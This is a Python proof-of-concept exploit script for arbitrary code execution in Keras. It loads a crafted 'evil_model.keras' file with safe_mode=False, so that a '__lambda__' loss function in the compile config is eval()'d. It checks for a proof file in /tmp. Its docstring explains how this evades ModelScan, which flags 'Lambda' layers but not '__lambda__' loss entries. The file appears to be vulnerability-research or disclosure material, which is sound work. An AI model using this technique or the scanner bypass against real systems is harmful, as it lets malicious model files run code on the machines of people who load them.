exploit.py

#!/usr/bin/env python3
"""
Keras compile_config loss __lambda__ RCE PoC

Triggers: keras.saving.load_model("evil_model.keras", safe_mode=False)
The __lambda__ loss function is eval()'d on load, achieving arbitrary code execution.

ModelScan bypass: ModelScan checks for class_name "Lambda" (capital L, Layer type)
but does NOT check class_name "__lambda__" (loss function type).
"""
import keras
import warnings
warnings.filterwarnings("ignore")

print("[*] Loading malicious model with safe_mode=False...")
print("[*] The __lambda__ in compile_config.loss will be eval()'d...")

try:
    model = keras.saving.load_model("evil_model.keras", safe_mode=False)
    print("[!] Model loaded successfully - check /tmp/keras_rce_proof.txt")
    print("[!] RCE verified!")
except Exception as e:
    print(f"[-] Error: {e}")
    # The RCE may have already executed even if the model load fails
    print("[?] Check /tmp/keras_rce_proof.txt - RCE may have fired before the error")